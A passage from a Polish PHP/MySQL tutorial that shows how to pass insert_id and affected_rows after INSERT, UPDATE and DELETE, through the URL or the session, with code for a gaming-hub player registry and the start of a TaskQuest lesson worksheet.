<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    $level = (int)($_POST&#91;'level'] ?? 1);
    
    // Walidacja...
    
    $stmt = $db-&gt;prepare("INSERT INTO players (username, email, level, created_at) VALUES (?, ?, ?, NOW())");
    $stmt-&gt;bind_param("ssi", $username, $email, $level);
    
    if ($stmt-&gt;execute()) {
        $new_player_id = $stmt-&gt;insert_id;
        $affected_rows = $stmt-&gt;affected_rows;
        
        $stmt-&gt;close();
        $db-&gt;close();
        
        // Przekazanie wielu informacji przez URL
        header("Location: sukces.php?id={$new_player_id}&amp;username=" . urlencode($username) . "&amp;affected={$affected_rows}&amp;action=register");
        exit;
    }
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: sukces.php</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Odbieramy dane z URL
$new_player_id = (int)($_GET&#91;'id'] ?? 0);
$username = htmlspecialchars($_GET&#91;'username'] ?? 'Nieznany');
$affected_rows = (int)($_GET&#91;'affected'] ?? 0);
$action = htmlspecialchars($_GET&#91;'action'] ?? '');

if ($new_player_id &lt;= 0) {
    die('Nieprawidłowe ID');
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja zakończona&lt;/title&gt;
    &lt;style&gt;
        .success-box {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #c3e6cb;
            margin: 20px;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="success-box"&gt;
    &lt;h2&gt;Rejestracja zakończona sukcesem!&lt;/h2&gt;
    &lt;p&gt;Witaj, &lt;strong&gt;&lt;?= $username ?&gt;&lt;/strong&gt;!&lt;/p&gt;
&lt;/div&gt;

&lt;div class="info"&gt;
    &lt;strong&gt;Szczegóły operacji:&lt;/strong&gt;&lt;br&gt;
    ID nowego gracza: &lt;strong&gt;&lt;?= $new_player_id ?&gt;&lt;/strong&gt;&lt;br&gt;
    Liczba dodanych rekordów: &lt;strong&gt;&lt;?= $affected_rows ?&gt;&lt;/strong&gt;&lt;br&gt;
    Typ operacji: &lt;strong&gt;&lt;?= $action ?&gt;&lt;/strong&gt;&lt;br&gt;
    &lt;br&gt;
    &lt;a href="profil.php?id=&lt;?= $new_player_id ?&gt;"&gt;Zobacz profil&lt;/a&gt; |
    &lt;a href="lista_graczy.php"&gt;Lista graczy&lt;/a&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Zalety:</strong></p>



<ul class="wp-block-list">
<li>Proste</li>



<li>Nie wymaga sesji</li>



<li>Działa zawsze</li>
</ul>



<p class="wp-block-paragraph"><strong>Wady:</strong></p>



<ul class="wp-block-list">
<li>Dane widoczne w URL</li>



<li>Ograniczona ilość danych (max ~2000 znaków)</li>



<li>Nie nadaje się dla wrażliwych informacji</li>
</ul>



<h3 class="wp-block-heading">Przykład 3: Przekazywanie informacji przez SESJĘ</h3>



<p class="wp-block-paragraph">Kiedy używać:</p>



<ul class="wp-block-list">
<li>Komunikaty sukcesu/błędu</li>



<li>Więcej danych</li>



<li>Dane wrażliwe</li>



<li>Profesjonalne projekty</li>
</ul>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start(); // ZAWSZE na początku pliku!

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // Walidacja danych
    if (empty($username)) {
        $errors&#91;] = "Nick jest wymagany";
    } elseif (strlen($username) &lt; 3) {
        $errors&#91;] = "Nick musi mieć minimum 3 znaki";
    }
    
    if (empty($email)) {
        $errors&#91;] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors&#91;] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors&#91;] = "Hasło jest wymagane";
    } elseif (strlen($password) &lt; 8) {
        $errors&#91;] = "Hasło musi mieć minimum 8 znaków";
    }
    
    // Sprawdzamy czy username już istnieje
    if (empty($errors)) {
        $stmt = $db-&gt;prepare("SELECT id FROM players WHERE username = ?");
        $stmt-&gt;bind_param("s", $username);
        $stmt-&gt;execute();
        $stmt-&gt;store_result();
        
        if ($stmt-&gt;num_rows &gt; 0) {
            $errors&#91;] = "Nick '{$username}' jest już zajęty";
        }
        $stmt-&gt;close();
    }
    
    // Jeśli brak błędów - dodajemy gracza
    if (empty($errors)) {
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        $stmt = $db-&gt;prepare("INSERT INTO players (username, email, password, created_at) VALUES (?, ?, ?, NOW())");
        $stmt-&gt;bind_param("sss", $username, $email, $password_hash);
        
        if ($stmt-&gt;execute()) {
            // Pobieramy informacje o operacji
            $new_player_id = $stmt-&gt;insert_id;
            $affected_rows = $stmt-&gt;affected_rows;
            
            $stmt-&gt;close();
            $db-&gt;close();
            
            // Zapisujemy dane w sesji
            $_SESSION&#91;'registration_success'] = &#91;
                'player_id' =&gt; $new_player_id,
                'username' =&gt; $username,
                'email' =&gt; $email,
                'affected_rows' =&gt; $affected_rows,
                'timestamp' =&gt; date('Y-m-d H:i:s')
            ];
            
            // Przekierowanie (URL czysty, bez danych)
            header("Location: rejestracja_sukces.php");
            exit;
            
        } else {
            $errors&#91;] = "Wystąpił błąd podczas rejestracji: {$stmt-&gt;error}";
        }
        
        $stmt-&gt;close();
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja gracza&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 500px;
            width: 100%;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Rejestracja Gracza&lt;/h1&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Nick gracza:&lt;/label&gt;
            &lt;input type="text" name="username" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" 
                   placeholder="np. ProGamer123" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'email'] ?? '') ?&gt;" 
                   placeholder="twoj@email.com" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Hasło:&lt;/label&gt;
            &lt;input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zarejestruj się&lt;/button&gt;
    &lt;/form&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: rejestracja_sukces.php</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start(); // ZAWSZE na początku!

// Sprawdź czy istnieją dane o rejestracji
if (!isset($_SESSION&#91;'registration_success'])) {
    // Jeśli ktoś próbuje wejść bezpośrednio na tę stronę
    header("Location: rejestracja.php");
    exit;
}

// Pobierz dane z sesji
$data = $_SESSION&#91;'registration_success'];
$player_id = (int)$data&#91;'player_id'];
$username = htmlspecialchars($data&#91;'username']);
$email = htmlspecialchars($data&#91;'email']);
$affected_rows = (int)$data&#91;'affected_rows'];
$timestamp = htmlspecialchars($data&#91;'timestamp']);

// Usuń dane z sesji (wyświetl tylko raz)
unset($_SESSION&#91;'registration_success']);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja zakończona&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .success-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 600px;
            width: 100%;
        }
        .success-icon {
            text-align: center;
            font-size: 80px;
            color: #28a745;
            margin-bottom: 20px;
        }
        h1 {
            text-align: center;
            color: #155724;
            margin-bottom: 20px;
        }
        .success-message {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #c3e6cb;
            margin-bottom: 30px;
        }
        .info-box {
            background: #e7f3ff;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #2196F3;
            margin-bottom: 20px;
        }
        .info-box p {
            margin: 8px 0;
            color: #333;
        }
        .info-box strong {
            color: #0c5460;
        }
        .buttons {
            display: flex;
            gap: 10px;
            justify-content: center;
        }
        a {
            padding: 12px 30px;
            background: #667eea;
            color: white;
            text-decoration: none;
            border-radius: 5px;
            font-weight: bold;
            text-align: center;
        }
        a:hover {
            background: #764ba2;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="success-container"&gt;
    &lt;div class="success-icon"&gt;✓&lt;/div&gt;
    &lt;h1&gt;Rejestracja zakończona sukcesem!&lt;/h1&gt;
    
    &lt;div class="success-message"&gt;
        &lt;p&gt;Witaj, &lt;strong&gt;&lt;?= $username ?&gt;&lt;/strong&gt;!&lt;/p&gt;
        &lt;p&gt;Twoje konto zostało pomyślnie utworzone.&lt;/p&gt;
    &lt;/div&gt;
    
    &lt;div class="info-box"&gt;
        &lt;p&gt;&lt;strong&gt;Szczegóły operacji:&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;ID gracza: &lt;strong&gt;&lt;?= $player_id ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Username: &lt;strong&gt;&lt;?= $username ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Email: &lt;strong&gt;&lt;?= $email ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Liczba dodanych rekordów: &lt;strong&gt;&lt;?= $affected_rows ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Data rejestracji: &lt;strong&gt;&lt;?= $timestamp ?&gt;&lt;/strong&gt;&lt;/p&gt;
    &lt;/div&gt;
    
    &lt;div class="buttons"&gt;
        &lt;a href="profil.php?id=&lt;?= $player_id ?&gt;"&gt;Zobacz profil&lt;/a&gt;
        &lt;a href="logowanie.php"&gt;Zaloguj się&lt;/a&gt;
        &lt;a href="lista_graczy.php"&gt;Lista graczy&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Zalety:</strong></p>



<ul class="wp-block-list">
<li>Bezpieczne (dane niewidoczne w URL)</li>



<li>Można przekazać wiele danych</li>



<li>Komunikat wyświetla się tylko raz</li>



<li>Profesjonalne rozwiązanie</li>
</ul>



<p class="wp-block-paragraph"><strong>Wady:</strong></p>



<ul class="wp-block-list">
<li>Wymaga sesji</li>



<li>Trochę więcej kodu</li>
</ul>



<h3 class="wp-block-heading">Przykład 4: UPDATE z informacją o affected_rows</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$player_id = (int)($_GET&#91;'id'] ?? 0);

if ($player_id &lt;= 0) {
    die('Nieprawidłowe ID gracza');
}

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $email = trim($_POST&#91;'email'] ?? '');
    $level = (int)($_POST&#91;'level'] ?? 1);
    $coins = (int)($_POST&#91;'coins'] ?? 0);
    
    // Walidacja...
    if (empty($email)) {
        $errors&#91;] = "Email jest wymagany";
    }
    
    if ($level &lt; 1 || $level &gt; 100) {
        $errors&#91;] = "Poziom musi być między 1 a 100";
    }
    
    if (empty($errors)) {
        $stmt = $db-&gt;prepare("UPDATE players SET email = ?, level = ?, coins = ? WHERE id = ?");
        $stmt-&gt;bind_param("siii", $email, $level, $coins, $player_id);
        
        if ($stmt-&gt;execute()) {
            $affected_rows = $stmt-&gt;affected_rows;
            
            $stmt-&gt;close();
            $db-&gt;close();
            
            // Zapisz informacje w sesji
            $_SESSION&#91;'update_result'] = &#91;
                'player_id' =&gt; $player_id,
                'affected_rows' =&gt; $affected_rows,
                'action' =&gt; 'update',
                'message' =&gt; $affected_rows &gt; 0 
                    ? "Profil został zaktualizowany ({$affected_rows} zmian)" 
                    : "Nie wprowadzono żadnych zmian (dane są identyczne)"
            ];
            
            // Przekierowanie
            header("Location: profil.php?id={$player_id}");
            exit;
        }
        
        $stmt-&gt;close();
    }
}

$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: profil.php (wyświetlanie komunikatu)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

$player_id = (int)($_GET&#91;'id'] ?? 0);

// Sprawdź czy są dane o aktualizacji
$update_message = '';
$update_data = null;

if (isset($_SESSION&#91;'update_result'])) {
    $update_data = $_SESSION&#91;'update_result'];
    $update_message = $update_data&#91;'message'];
    
    // Usuń z sesji po pobraniu
    unset($_SESSION&#91;'update_result']);
}

// Połączenie i pobranie danych gracza...
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$stmt = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
$stmt-&gt;bind_param("i", $player_id);
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$gracz = $wynik-&gt;fetch_assoc();
$stmt-&gt;close();
$db-&gt;close();

if (!$gracz) {
    die('Nie znaleziono gracza');
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Profil - &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/title&gt;
    &lt;style&gt;
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #bee5eb;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;?php if (!empty($update_message)): ?&gt;
    &lt;div class="&lt;?= $update_data&#91;'affected_rows'] &gt; 0 ? 'success' : 'info' ?&gt;"&gt;
        &lt;?= htmlspecialchars($update_message) ?&gt;
        &lt;?php if ($update_data&#91;'affected_rows'] &gt; 0): ?&gt;
            &lt;br&gt;&lt;small&gt;Liczba zaktualizowanych rekordów: &lt;?= $update_data&#91;'affected_rows'] ?&gt;&lt;/small&gt;
        &lt;?php endif; ?&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;h1&gt;Profil gracza: &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/h1&gt;
&lt;p&gt;Email: &lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;&lt;/p&gt;
&lt;p&gt;Level: &lt;?= $gracz&#91;'level'] ?&gt;&lt;/p&gt;
&lt;p&gt;Coins: &lt;?= number_format($gracz&#91;'coins']) ?&gt;&lt;/p&gt;

&lt;a href="edycja.php?id=&lt;?= $player_id ?&gt;"&gt;Edytuj profil&lt;/a&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 5: DELETE z potwierdzeniem i informacją o affected_rows</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$player_id = (int)($_GET&#91;'id'] ?? 0);

if ($player_id &lt;= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobierz dane gracza przed usunięciem
$stmt = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
$stmt-&gt;bind_param("i", $player_id);
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$gracz = $wynik-&gt;fetch_assoc();
$stmt-&gt;close();

if (!$gracz) {
    die('Nie znaleziono gracza');
}

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST&#91;'confirm_delete'])) {
    
    $stmt = $db-&gt;prepare("DELETE FROM players WHERE id = ?");
    $stmt-&gt;bind_param("i", $player_id);
    
    if ($stmt-&gt;execute()) {
        $affected_rows = $stmt-&gt;affected_rows;
        
        $stmt-&gt;close();
        $db-&gt;close();
        
        // Zapisz informacje w sesji
        $_SESSION&#91;'delete_result'] = &#91;
            'username' =&gt; $gracz&#91;'username'],
            'player_id' =&gt; $player_id,
            'affected_rows' =&gt; $affected_rows,
            'action' =&gt; 'delete',
            'message' =&gt; $affected_rows &gt; 0 
                ? "Gracz '{$gracz&#91;'username']}' (ID: {$player_id}) został usunięty" 
                : "Nie usunięto gracza (możliwe że już nie istnieje)"
        ];
        
        // Przekierowanie do listy graczy
        header("Location: lista_graczy.php");
        exit;
    }
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Usuń gracza&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .buttons {
            display: flex;
            gap: 10px;
        }
        button, a {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Usuń gracza&lt;/h1&gt;
    
    &lt;div class="warning"&gt;
        &lt;strong&gt;OSTRZEŻENIE:&lt;/strong&gt;&lt;br&gt;
        Ta operacja jest nieodwracalna! Gracz zostanie permanentnie usunięty z bazy danych.
    &lt;/div&gt;
    
    &lt;div class="player-info"&gt;
        &lt;h3&gt;Dane gracza do usunięcia:&lt;/h3&gt;
        &lt;p&gt;&lt;strong&gt;ID:&lt;/strong&gt; &lt;?= $gracz&#91;'id'] ?&gt;&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Email:&lt;/strong&gt; &lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Level:&lt;/strong&gt; &lt;?= $gracz&#91;'level'] ?&gt;&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Coins:&lt;/strong&gt; &lt;?= number_format($gracz&#91;'coins']) ?&gt;&lt;/p&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="buttons"&gt;
            &lt;a href="profil.php?id=&lt;?= $player_id ?&gt;" class="btn-cancel"&gt;Anuluj&lt;/a&gt;
            &lt;button type="submit" name="confirm_delete" class="btn-delete" 
                    onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza?')"&gt;
                Usuń gracza
            &lt;/button&gt;
        &lt;/div&gt;
    &lt;/form&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Plik: lista_graczy.php (wyświetlanie komunikatu po usunięciu)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Sprawdź czy są dane o usunięciu
$delete_message = '';
$delete_data = null;

if (isset($_SESSION&#91;'delete_result'])) {
    $delete_data = $_SESSION&#91;'delete_result'];
    $delete_message = $delete_data&#91;'message'];
    
    // Usuń z sesji po pobraniu
    unset($_SESSION&#91;'delete_result']);
}

// Połączenie i pobranie listy graczy...
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$stmt = $db-&gt;prepare("SELECT * FROM players ORDER BY id DESC");
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$gracze = $wynik-&gt;fetch_all(MYSQLI_ASSOC);
$stmt-&gt;close();
$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Lista graczy&lt;/title&gt;
    &lt;style&gt;
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #ffeeba;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 12px;
            border: 1px solid #ddd;
            text-align: left;
        }
        th {
            background: #667eea;
            color: white;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Lista graczy&lt;/h1&gt;

&lt;?php if (!empty($delete_message)): ?&gt;
    &lt;div class="&lt;?= $delete_data&#91;'affected_rows'] &gt; 0 ? 'success' : 'warning' ?&gt;"&gt;
        &lt;?= htmlspecialchars($delete_message) ?&gt;
        &lt;?php if ($delete_data&#91;'affected_rows'] &gt; 0): ?&gt;
            &lt;br&gt;&lt;small&gt;Liczba usuniętych rekordów: &lt;?= $delete_data&#91;'affected_rows'] ?&gt;&lt;/small&gt;
        &lt;?php endif; ?&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;table&gt;
    &lt;tr&gt;
        &lt;th&gt;ID&lt;/th&gt;
        &lt;th&gt;Username&lt;/th&gt;
        &lt;th&gt;Email&lt;/th&gt;
        &lt;th&gt;Level&lt;/th&gt;
        &lt;th&gt;Akcje&lt;/th&gt;
    &lt;/tr&gt;
    &lt;?php foreach ($gracze as $gracz): ?&gt;
        &lt;tr&gt;
            &lt;td&gt;&lt;?= $gracz&#91;'id'] ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?= $gracz&#91;'level'] ?&gt;&lt;/td&gt;
            &lt;td&gt;
                &lt;a href="profil.php?id=&lt;?= $gracz&#91;'id'] ?&gt;"&gt;Profil&lt;/a&gt; |
                &lt;a href="edycja.php?id=&lt;?= $gracz&#91;'id'] ?&gt;"&gt;Edytuj&lt;/a&gt; |
                &lt;a href="usun.php?id=&lt;?= $gracz&#91;'id'] ?&gt;"&gt;Usuń&lt;/a&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;?php endforeach; ?&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">Porównanie metod przekazywania danych:</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Bezpieczeństwo</th><th>Złożoność</th><th>Dane w URL</th><th>Wielokrotne odświeżenie</th><th>Kiedy używać</th></tr></thead><tbody><tr><td><strong>GET (URL)</strong></td><td>Niskie</td><td>Proste</td><td>Widoczne</td><td>Bezpieczne</td><td>Proste ID, niepoufne dane</td></tr><tr><td><strong>SESSION</strong></td><td>Wysokie</td><td>Średnie</td><td>Ukryte</td><td>Bezpieczne</td><td>Komunikaty, wrażliwe dane</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Najlepsze praktyki:</h3>



<ul class="wp-block-list">
<li>ZAWSZE używaj przekierowania po INSERT/UPDATE/DELETE</li>



<li>Używaj SESSION dla komunikatów i wrażliwych danych</li>



<li>Używaj GET tylko dla ID i prostych parametrów</li>



<li>Zapisuj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>&nbsp;przed przekierowaniem</li>



<li>Usuwaj dane z sesji po jednokrotnym wyświetleniu</li>



<li>ZAWSZE dodawaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code>&nbsp;po&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code></li>



<li>Waliduj dane po stronie odbiorczej (nawet po przekierowaniu)</li>
</ul>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.9 — zadania żyją w bazie: dodawanie, „Zrobione!” i usuwanie</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 18 TaskQuest czyta z bazy wszystko, co pokazuje. Każdy gracz widzi własne zadania, XP i streak. Ale to, co widzi, może zmienić tylko ktoś w phpMyAdmin. Formularz „Dodaj zadanie” jest wyłączony, bo zapisuje do starego pliku CSV. Zadania nie da się oznaczyć jako wykonanego, więc XP stoi w miejscu. Streak jest nadal symulowany.</p>



<p class="wp-block-paragraph">Dziś TaskQuest zacznie <strong>zmieniać</strong> dane w bazie. Po tej lekcji gracz dodaje zadania, klika „Zrobione!”, dostaje XP i buduje prawdziwą serię dni. Może też usunąć zadanie.</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



